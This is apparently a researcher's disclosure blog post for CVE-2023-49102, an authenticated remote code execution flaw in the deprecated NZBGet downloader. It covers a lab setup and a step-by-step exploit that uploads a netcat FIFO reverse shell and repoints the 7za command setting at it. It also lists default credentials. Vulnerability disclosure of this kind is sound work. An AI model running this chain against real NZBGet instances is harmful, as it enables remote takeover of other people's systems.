Objective

From the GitHub repository of nzbget:

NZBGet is a binary downloader, which downloads files from Usenet based on information given in nzb-files.

Frontpage of NZBGet

To provide context: Usenet is the predecessor of the World Wide Web (the HTTP-based version you’re familiar with) and can be thought of as a large forum where people can write and respond to posts using Usenet reader applications. These posts can also include binary data, such as images. Although it is relatively old and reached its peak usage a long time ago, it is still in use, particularly within the Warez scene.

NZBGet functions as a newsreader, accessing Usenet posts, and as a binary downloader, downloading attachments from specified posts. It’s easy to see how this fits into the Warez scene.

The software is no longer maintained and received its last update on October 1, 2021. The repository has been in an archived state since November 18, 2022. However, it remains widely used: I found over 1500 publicly accessible instances on the internet, with countless more operating behind firewalls or within private networks.

Timeline

  • 11-11-2023: Discovery of RCE in lab environment
  • 13-11-2023: Attempt to contact maintainer hugbug
  • 21-11-2023: CVEs assigned
  • 22-11-2023: Disclosure of technical details through this blogpost

Lab Setup

As nzbget is a software which downloads stuff from a newsserver, obviously, a newsserver is required. While the choice doesn’t really matter, I picked go-nntp’s example newsserver as a base because it had a minimal footprint and didn’t store data persistently, meaning a simple restart would reset the newsserver. This doesn’t sound desirable, but in case of a lab, it really is. I needed to modify the code a bit, my patches are on my Git server.

The advantage is that any username or password is accepted, and posts are stored only in memory.

git clone https://git.maride.cc/maride/go-nntp-plusplus
cd go-nntp-plusplus/examples/server
go run .

The server is now happily waiting for connections on port 1119.

As the newsserver is pretty empty at start, some tool is required to upload some binaries to the server. There are, again, some options to choose from; I picked nyuu as it is fast, reliable and maintained.

When uploading files to the newsserver, Nyuu generates a .nzb file that serves as a reference to those files. This NZB file is sufficient for NZBGet to download the files from the newsserver again, provided the newsserver is correctly configured in NZBGet.

The final component is NZBGet itself. I opted for the Docker container from LinuxServer, which is arguably the most popular container for NZBGet with over 500 million pulls. Run it with sudo docker run -ti -p 6789:6789 lscr.io/linuxserver/nzbget:latest bash, and open the web UI at http://127.0.0.1:6789/ to further configure the NZBGet instance. The default credentials are nzbget:tegbzn6789. Navigate to Settings > News-Servers and update the fields as follows:

  • Server1.Host: 172.17.0.1
  • Server1.Port: 1119
  • Server1.JoinGroup: Yes

Then, save changes and reload nzbget.

Side Note: Debugging Command Injection Vulnerabilities

Both discovered vulnerabilities heavily rely on understanding the interaction between NZBGet and unrar/7z. One method to debug this interaction further would be to insert print and log statements into NZBGet’s code. However, I prefer to keep the observed executable as original as possible. Ideally, it should remain untouched.

Instead, I created wrappers for 7z and unrar.

First, rename the unrar and 7za commands (located in ${AppDir}/unrar and ${AppDir}/7za, which is /app/nzbget in my case) to unrar.orig and 7za.orig. Then, create two files at the original paths with the following content:

#!/bin/bash

OUT=/tmp/$(basename $0).log

echo "-----" >> $OUT
date +"%T.%N" >> $OUT
echo "$0 $@" >> $OUT
$0.orig "$@" | tee --append $OUT

This will log the full call and output of both commands to /tmp/7za.log and /tmp/unrar.log, respectively, while calling the correct executables with their original arguments. Essentially, it acts as a drop-in wrapper, allowing you to observe the underlying processes. You can monitor these files using watch -n 2 cat /tmp/7za.log /tmp/unrar.log.

Vulnerability

CVE-2023-49102

Description

Authenticated remote code execution via the unarchive command.

NZBGet supports two unarchive programs: 7za and unrar. Both preserve file permissions. This means a shell script with the execute bit set will remain executable in the NZBGet container and can be executed by setting SevenZipCmd or UnrarCmd accordingly. A user level of Control is required for this.

Evaluation

CVSS v2: AV:N/AC:L/Au:S/C:C/I:C/A:C = Base Score 9.0

Exploitation

Now the trick is fairly simple: upload a reverse shell, change the 7za executable path to the full path of the reverse shell, then upload a 7z-packed kicker file.

You could get creative with a reverse shell… or use a simple FIFO-based reverse shell from PayloadsAllTheThings:

#!/bin/bash
rm /tmp/rev
mkfifo /tmp/rev
cat /tmp/rev | sh -i 2>&1 | nc 172.17.0.1 9999 >/tmp/rev

Make it executable with chmod +x revshell.sh, then pack it: rar a revshell.rar revshell.sh.

Next, upload the resulting archive to the newsserver with nyuu --host 127.0.0.1 --port 1119 --from "revshell@invalid.nzb" --groups "alt.test" --out revshell.nzb revshell.rar

The resulting revshell.nzb can now be uploaded to NZBGet, where it will be saved to ${MainDir}/completed/revshell/revshell.sh.

Go to Settings/Unpack and change SevenZipCommand from ${AppDir}/7za to ${MainDir}/completed/revshell/revshell.sh. Note: you must be the Control user, which has no limitations. The Restricted user type does not have access to the SevenZipCommand setting.

When all of this is set, it just needs a request to download a 7z file. To speed things up, create one on your own:

Run touch kicker, 7z a kicker.7z kicker, then upload it: nyuu --host 127.0.0.1 --port 1119 --from "revshell@invalid.nzb" --groups "alt.test" --out kicker.nzb kicker.7z. After that, send the kicker.nzb to NZBGet and enjoy your reverse shell.

Mitigation

Ensure you change the credentials for the Control user. Consider whether the instance truly needs to be exposed on the internet.

Conclusion

NZBGet is deprecated, and you should have transitioned to a maintained alternative by now. The discovery of this vulnerability, despite its CVSS score not reaching 10.0, serves as a reminder to switch to a supported option.